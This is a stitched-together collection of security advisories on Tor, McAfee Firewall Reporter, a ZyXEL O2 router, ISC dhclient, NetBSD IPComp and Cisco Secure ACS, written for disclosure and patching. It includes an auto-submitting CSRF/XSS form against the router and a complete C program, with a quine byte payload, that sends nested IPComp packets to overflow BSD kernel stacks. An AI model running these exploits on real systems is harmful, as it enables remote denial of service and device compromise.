Tor before 0.2.2.24-alpha continues to use a reachable bridge that was previously configured but is not currently configured, which might allow remote attackers to obtain sensitive information about clients in opportunistic circumstances by monitoring network traffic to the bridge port. Tor is prone to an information disclosure vulnerability. Successful exploits will allow attackers to obtain sensitive information to launch further attacks. Versions prior to Tor 0.2.2.24 are vulnerable

The web interface in McAfee Firewall Reporter before 5.1.0.13 does not properly implement cookie authentication, which allows remote attackers to obtain access, and disable anti-virus functionality, via an HTTP request. Authentication is not required to exploit this vulnerability. The specific flaw exists within the code responsible for authenticating users. The GernalUtilities.pm file contains code to validate sessions by parsing cookie values without sanitization. The faulty logic simply checks for the existence of a particular file, without verifying its contents. By using a directory traversal technique an attacker can point the cgisess cookie value to an arbitrary file that exists on the server and thus bypass authentication. This issue may allow websites to bypass certain security restrictions and gain access to potentially sensitive information. This issue was introduced in McAfee Firewall Reporter 5.1.0.6.

Cross-site request forgery (CSRF) vulnerability in Forms/PortForwarding_Edit_1 on the ZyXEL O2 DSL Router Classic allows remote attackers to hijack the authentication of administrators for requests that insert cross-site scripting (XSS) sequences via the PortRule_Name parameter. The device is produced by ZyXEL, it seems it has no other name than the brand "O2 DSL Router Classic". As an example, the form at /Forms/PortForwarding_Edit_1 accepts javascript code for the parameter PortRule_Name, which will be permanently stored. Also, the form has no protection against CSRF. A sample code that will inject permanent javascript when called by a user who is logged into his router: <form id="form1" method="post" action="http://192.168.1.1/Forms/PortForwarding_Edit_1"> <input name="PortRule_Name" value='"><script>alert(7)</script>'> <input name="PortRule_SPort" value="77"> <input name="PortRule_EPort" value="77"> <input name="PortRule_SrvAddr" value="10.0.0.1" > <script> var frm = document.getElementById("form1"); frm.submit(); </script> This is just an example, all forms in the router interface are vulnerable to CSRF and, if they accept text input, to XSS. The vulnerability has been disclosed to O2 in advance without any reply.

The verification of md5 checksums and GPG signatures is performed automatically for you. Depending on the script and OS, this can result in execution of exploit code on the client. CVSS Score: 6.8 (AV:A/AC:L/Au:N/C:P/I:N/A:C) For more information on CVSS scores, visit http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2 Workarounds: On SUSE systems, it is possible to disable hostname update by setting DHCLIENT_SET_HOSTNAME="no" in /etc/sysconfig/network/dhcp. Other systems may add following line to dhclient-script at the beginning of the set_hostname() function: new_host_name=${new_host_name//[^-.a-zA-Z0-9]/} In environments where filters/acls can be put into place to limit clients to accessing only legitimate dhcp servers, this will protect clients from rogue dhcp servers deliberately trying to exploit this bug. However, this will not protect from compromised servers. Active exploits: None known at this time. https://www.isc.org/downloads/all No patch is available for 4.0.x as it is EOL. Anyone running 4.1.x should upgrade to 4.1-ESV-R2. These options are reused in an insecure fashion by dhclient scripts. For the oldstable distribution (lenny), this problem has been fixed in additional update for dhcp3. For the stable distribution (squeeze), this problem has been fixed in version 4.1.1-P1-15+squeeze2. For the testing distribution (wheezy), this problem will be fixed soon. For the unstable distribution (sid), this problem has been fixed in version 4.1.1-P1-16.1.

Due to an error, the patch to fix the vulnerability was not properly applied on Ubuntu 9.10 and higher. Original advisory details: Sebastian Krahmer discovered that the dhclient utility incorrectly filtered crafted responses. Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 10.10: dhcp3-client 3.1.3-2ubuntu6.2 Ubuntu 10.04 LTS: dhcp3-client 3.1.3-2ubuntu3.2 Ubuntu 9.10: dhcp3-client 3.1.2-1ubuntu7.3 In general, a standard system update will make all the necessary changes. ---------------------------------------------------------------------- Q1 Factsheets released: http://secunia.com/resources/factsheets/2011_vendor/ ---------------------------------------------------------------------- TITLE: ISC DHCP "dhclient" Response Processing Input Sanitation Vulnerability SECUNIA ADVISORY ID: SA44037 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/44037/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=44037 RELEASE DATE: 2011-04-07 DISCUSS ADVISORY: http://secunia.com/advisories/44037/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/44037/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=44037 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: A vulnerability has been reported in ISC DHCP, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to certain shell meta-characters not being stripped or escaped when processing responses from a DHCP server. This can be exploited to submit shell commands to the "dhclient-script" script via e.g. a specially crafted "hostname" response. SOLUTION: Update to version 3.1-ESV-R1 and 4.1-ESV-R2 or 4.2.1-P1.

Summary: Updated dhcp packages that fix one security issue are now available for Red Hat Enterprise Linux 3 Extended Life Cycle Support. The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section. 2. Relevant releases/architectures: Red Hat Enterprise Linux AS (v. 3 ELS) - i386 Red Hat Enterprise Linux ES (v. 3 ELS) - i386 3. Description: The Dynamic Host Configuration Protocol (DHCP) is a protocol that allows individual devices on an IP network to get their own network configuration information, including an IP address, a subnet mask, and a broadcast address. It was discovered that the DHCP client daemon, dhclient, did not sufficiently sanitize certain options provided in DHCP server replies, such as the client hostname. A malicious DHCP server could send such an option with a specially-crafted value to a DHCP client. If this option's value was saved on the client system, and then later insecurely evaluated by a process that assumes the option is trusted, it could lead to arbitrary code execution with the privileges of that process. (CVE-2011-0997) Red Hat would like to thank Sebastian Krahmer of the SuSE Security Team for reporting this issue. All dhclient users should upgrade to these updated packages, which contain a backported patch to correct this issue. 4. Solution: Before applying this update, make sure all previously-released errata relevant to your system have been applied. This update is available via the Red Hat Network.

Attack code using this vulnerability has been released.Service disruption by a remote third party (DoS) An attacker may be able to attack or execute arbitrary code. NetBSD is prone to a remote memory-corruption vulnerability because it fails to adequately check for stack overflows in nested IP Payload Compression protocol (IPComp) payloads. Attackers can exploit this issue to trigger a kernel stack overflow, resulting in the execution of arbitrary code with superuser privileges. Failed attacks may cause a denial-of-service condition. A successful exploit will completely compromise affected computers. This issue may affect systems derived from NetBSD IPComp implementations. BSD derived RFC3173 IPComp encapsulation will expand arbitrarily nested payload ------------------------------------------------------------------------------- Gruezi, this document describes CVE-2011-1547. RFC3173 ip payload compression, henceforth ipcomp, is a protocol intended to provide compression of ip datagrams, and is commonly used alongside IPSec (although there is no requirement to do so). An ipcomp datagram consists of an ip header with ip->ip_p set to 108, followed by a 32 bit ipcomp header, described in C syntax below. struct ipcomp { uint8_t comp_nxt; // Next Header uint8_t comp_flags; // Reserved uint16_t comp_cpi; // Compression Parameter Index }; The Compression Parameter Index indicates which compression algorithm was used to compress the ipcomp payload, which is expanded and then routed as requested. Although the CPI field is 16 bits wide, in reality only 1 algorithm is widely implemented, RFC1951 DEFLATE (cpi=2). It's well documented that ipcomp can be used to traverse perimeter filtering, however this document discusses potential implementation flaws observed in popular stacks. The IPComp implementation originating from NetBSD/KAME implements injection of unpacked payloads like so: algo = ipcomp_algorithm_lookup(cpi); /* ... */ error = (*algo->decompress)(m, m->m_next, &newlen); /* ... */ if (nxt != IPPROTO_DONE) { if ((inetsw[ip_protox[nxt]].pr_flags & PR_LASTHDR) != 0 && ipsec4_in_reject(m, NULL)) { IPSEC_STATINC(IPSEC_STAT_IN_POLVIO); goto fail; } (*inetsw[ip_protox[nxt]].pr_input)(m, off, nxt); } else m_freem(m); /* ... */ Where inetsw[] contains definitions for supported protocols, and nxt is a protocol number, usually associated with ip->ip_p (see http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xml), but in this case from ipcomp->comp_nxt. m is the mbuf structure adjusted to point to the unpacked payload. The unpacked packet is dispatched to the appropriate protocol handler directly from the ipcomp protocol handler. The NetBSD/KAME network stack is used as basis for various other operating systems, such as Xnu, FTOS, various embedded devices and network appliances, and earlier versions of FreeBSD/OpenBSD (the code has since been refactored, but see the NOTES section regarding IPComp quines, which still permit remote, pre-authentication, single-packet, spoofed-source DoS in the latest versions). The Xnu port of this code is close to the original, where the decompressed payload is recursively injected back into the toplevel ip dispatcher. The implementation is otherwise similar, and some alterations to the testcase provided for NetBSD should make it work. This is left as an exercise for the interested reader. -------------------- Affected Software ------------------------ Any NetBSD derived IPComp/IPSec stack may be vulnerable (Xnu, FTOS, etc.). NetBSD is not distributed with IPSec support enabled by default, however Apple OSX and various other derivatives are. There are so many NetBSD derived network stacks that it is infeasible to check them all, concerned administrators are advised to check with their vendor if there is any doubt. Major vendors known to use network stacks derived from NetBSD were pre-notified about this vulnerability. If I missed you, it is either not well known that you use the BSD stack, you did not respond to security@ mail, or could not use pgp properly. Additionally, administrators of critical or major deployments of NetBSD (e.g. dns root servers) were given advance notice in order to deploy appropriate filter rules. Exploitability of kernel stack overflows will vary by platform (n.b. a stack overflow is not a stack buffer overflow, for a concise definition see TAOCP3,V1,S2.2.2). Also note that a kernel stack overflow is very different from a userland stack overflow. For further discussion, including attacks on other operating systems, see the notes section on ipcomp quines below. However, this is not a trivial task, and is highly platform dependent. I have verified kernel stack overflows on NetBSD are exploitable, I have looked at the source code for xnu and do not see any obvious obstacles to prevent exploitation (kernel stack segment limits, guard pages, etc. which would cause the worst impact to be limited to remote denial of service), so have no reason to believe it is different. Thoughts on this topic from fellow researchers would be welcome. Source code for a sample Linux program to reproduce this flaw on NetBSD is listed below. Please note, check if your system requires an IPv4 header in the compressed payload before attempting to adapt it to your needs. #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <unistd.h> #include <stdio.h> #include <zlib.h> #include <alloca.h> #include <stdbool.h> #include <stdlib.h> #include <string.h> // // BSD IPComp Kernel Stack Overflow Testcase // -- Tavis Ormandy <taviso@cmpxchg8b.com>, March 2011 // #define MAX_PACKET_SIZE (1024 * 1024 * 32) #define MAX_ENCAP_DEPTH 1024 enum { IPCOMP_OUI = 1, IPCOMP_DEFLATE = 2, IPCOMP_LZS = 3, IPCOMP_MAX, }; struct ipcomp { uint8_t comp_nxt; // Next Header uint8_t comp_flags; // Reserved, must be zero uint16_t comp_cpi; // Compression parameter index uint8_t comp_data[0]; // Payload. }; bool ipcomp_encapsulate_data(void *data, size_t size, int nxt, struct ipcomp **out, size_t *length, int level) { struct ipcomp *ipcomp; z_stream zstream; ipcomp = malloc(MAX_PACKET_SIZE); *out = ipcomp; ipcomp->comp_nxt = nxt; ipcomp->comp_cpi = htons(IPCOMP_DEFLATE); ipcomp->comp_flags = 0; // Compress packet payload. zstream.zalloc = Z_NULL; zstream.zfree = Z_NULL; zstream.opaque = Z_NULL; if (deflateInit2(&zstream, level, Z_DEFLATED, -12, MAX_MEM_LEVEL, Z_DEFAULT_STRATEGY) != Z_OK) { fprintf(stderr, "error: failed to initialize zlib library\n"); return false; } zstream.avail_in = size; zstream.next_in = data; zstream.avail_out = MAX_PACKET_SIZE - sizeof(struct ipcomp); zstream.next_out = ipcomp->comp_data; if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) { fprintf(stderr, "error: deflate() failed to create compressed payload, %s\n", zstream.msg); return false; } if (deflateEnd(&zstream) != Z_OK) { fprintf(stderr, "error: deflateEnd() returned failure, %s\n", zstream.msg); return false; } // Calculate size. *length = (MAX_PACKET_SIZE - sizeof(struct ipcomp)) - zstream.avail_out; ipcomp = realloc(ipcomp, *length); free(data); return true; } int main(int argc, char **argv) { int s; struct sockaddr_in sin = {0}; struct ipcomp *ipcomp = malloc(0); size_t length = 0; unsigned depth = 0; // Nest an ipcomp packet deeply without compression, this allows us to // create maximum redundancy. for (depth = 0; depth < MAX_ENCAP_DEPTH; depth++) { if (ipcomp_encapsulate_data(ipcomp, length, IPPROTO_COMP, &ipcomp, &length, Z_NO_COMPRESSION) != true) { fprintf(stderr, "error: failed to encapsulate data\n"); return 1; } } // Create a final outer packet with best compression, which should now // compress well due to Z_NO_COMPRESSION used in inner payloads. if (ipcomp_encapsulate_data(ipcomp, length, IPPROTO_COMP, &ipcomp, &length, Z_BEST_COMPRESSION) != true) { fprintf(stderr, "error: failed to encapsulate data\n"); return 1; } fprintf(stdout, "info: created %u nested ipcomp payload, %u bytes\n", depth, length); sin.sin_family = AF_INET; sin.sin_port = htons(0); sin.sin_addr.s_addr = inet_addr(argv[1]); if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) { fprintf(stderr, "error: failed to create socket, %m\n"); return 1; } if (sendto(s, ipcomp, length, MSG_NOSIGNAL, (const struct sockaddr *)(&sin), sizeof(sin)) != length) { fprintf(stderr, "error: send() returned failure, %m\n"); return 1; } fprintf(stdout, "info: success, packet sent to %s\n", argv[1]); free(ipcomp); return 0; } Packets of the following form are generated.

Even when implemented correctly, IPComp completely defeats the purpose of Delayed Compression in OpenSSH (see CAN-2005-2096 for an example of why you always want delayed compression). Additionally, the encapsulation means any attacks that require link-local access can simply be wrapped in ipcomp and are then routable (that is not good). Affected servers and devices can use packet filtering to prevent the vulnerable code from being exercised. On systems with ipfw, a rule based on the following ipfw/ipfw6 template can be used, adjust to whitelist expected peers as appropriate. # ipfw add deny proto ipcomp On other BSD systems, pfctl rules can be substituted. See vendor documentation for how to configure network appliances to deny IPComp at network boundaries. ------------------- Solution ----------------------- I would recommend vendors disallow nested encapulation of ipcomp payloads. The implementation of this fix will of course vary by product. By the time you read this advisory, a fix should have been committed to the NetBSD repository, downstream consumers of NetBSD code are advised to import the changes urgently. A draft patch from S.P.Zeidler of the NetBSD project is attached for reference. ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert, Asirap, Meder, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D., djm, Brian C., djrbliss, jono, and all my other elite friends and colleagues.

The CFP is currently open, you should check it out at https://www.hashdays.ch/. ------------------- Notes ----------------------- An elegant method of reproducing this flaw would be using self-reproducing Lempel-Ziv programs, rsc describes the technique here: http://research.swtch.com/2010/03/zip-files-all-way-down.html This method would also be able to disrupt non-recursive implementations that do not prevent nested encapulation, such as modern FreeBSD and OpenBSD. An ipcomp quine is defined below in GNU C syntax below, and a testcase for Linux is attached to this mail. struct { uint8_t comp_nxt; // Next Header uint8_t comp_flags; // Reserved, must be zero uint16_t comp_cpi; // Compression parameter index uint8_t comp_data[180]; // Payload } ipcomp = { .comp_nxt = IPPROTO_COMP, .comp_flags = 0, .comp_cpi = htons(IPCOMP_DEFLATE), .comp_data = { 0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff, 0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff, 0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff, 0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff, 0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff, 0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff, 0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff, 0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff, 0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff, 0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff, 0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff, 0x82, 0x72, 0x61, 0x5c, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff, 0x82, 0x72, 0x61, 0x5c, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff } }; Note that modern FreeBSD and OpenBSD appear to drop incoming ipcomp packets if no TBD entries are known (see netstat -s -p ipcomp statistics, and the setkey documentation). You will have to allow for this while testing. Depending on implementation, You may also need to spoof the source address of a peer, see man 7 raw. Special thanks to rsc and Matthew Dempsky for hints and assistance. Something like this may be useful for testing: # setkey -c add 192.168.0.1 192.168.0.2 ipcomp 0002 -C deflate ^D - I would advise caution when sending malformed or pathological packets across critical infrastructure or the public internet, many embedded devices are based on BSD-derived code and may not handle the error gracefully. - Julien will be angry I didn't use scapy, sorry! I am a fan :-) - A bug in Xnu's custom allocator for zlib (deflate_alloc) causes zlib initialisation to fail if ~1k bytes is not available to MALLOC() with M_NOWAIT, even though M_WAITOK was intended, as described in the comments: /* * Avert your gaze, ugly hack follows! * We init here so our malloc can allocate using M_WAIT. * We don't want to allocate if ipcomp isn't used, and we * don't want to allocate on the input or output path. * Allocation fails if we use M_NOWAIT because init allocates * something like 256k (ouch). */ However with some creativity it is possible to make the allocation succeed. You can observe this bug by sending an ipcomp packet and looking for the memory allocation failure in the network statistics (try something like `netstat -s | grep -A16 ipsec:`). You can also set `sysctl -w net.inet.ipsec.debug=1`. ------------------- References ----------------------- - http://research.swtch.com/2010/03/zip-files-all-way-down.html research!rsc: Zip Files All The Way Down - http://tools.ietf.org/html/rfc3173 RFC3173: IP Payload Compression Protocol (IPComp) - http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/netinet6/ipcomp_input.c?rev=1.36&content-type=text/x-cvsweb-markup&only_with_tag=MAIN NetBSD: ipcomp_input.c, v1.36 - http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/netinet6/ipcomp_input.c Xnu: ipcomp_input.c - http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man8/ipfw.8.html ipfw -- IP firewall and traffic shaper control program - http://www.netbsd.org/docs/network/pf.html The NetBSD Packet Filter (generally applies to other popular BSDs). - http://fxr.watson.org/fxr/source/netinet6/ipcomp_input.c?v=FREEBSD64#L222 Earlier versions of FreeBSD were implemented recursively, the code was since refactored. - http://fxr.watson.org/fxr/source/netipsec/xform_ipcomp.c?v=FREEBSD81#L299 The current version is implemented iteratively (see NOTES section on Quine DoS). - http://www.force10networks.com/products/ftos.asp FTOS - Force10 Operating System - http://www.qnx.com/developers/docs/6.4.1/io-pkt_en/user_guide/drivers.html QNX Network Drivers Documentation Support high-quality journalism in information security by subscribing to LWN http://lwn.net/ (i have no connection to lwn other than appreciating their work).

The presence of an additional digit after the version number indicates the highest patch level installed. The absence of any additional digit after the version string indicates a Cisco Secure ACS version with no patches installed. No other Cisco products are currently known to be affected by this vulnerability. Successful exploitation requires the user account to be defined on the internal identity store. Vulnerability Scoring Details ============================= Cisco has provided scores for the vulnerability in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCtl77440 ("Able to arbitrarily change user account passwords") CVSS Base Score - 5.0 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - None Integrity Impact - Partial Availability Impact - None CVSS Temporal Score - 4.4 Exploitability - High Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of this vulnerability could allow an attacker to change the password of any user account that is defined on the internal identity store. Because the user would not know the new password, the attacker could also prevent a user from authenticating. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Customers can implement the UCP functionality through either a web-based front-end application or a scripting interface. Because this access would allow exploitation of the vulnerability described in this advisory, both of the following recommendations apply: * Stop providing UCP services * Do not include any computer that offers UCP services (either web-based or scripted) in the set of management stations that are allowed to access the ACS server Obtaining Fixed Software ======================== Cisco has released free software updates that address this vulnerability. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade.
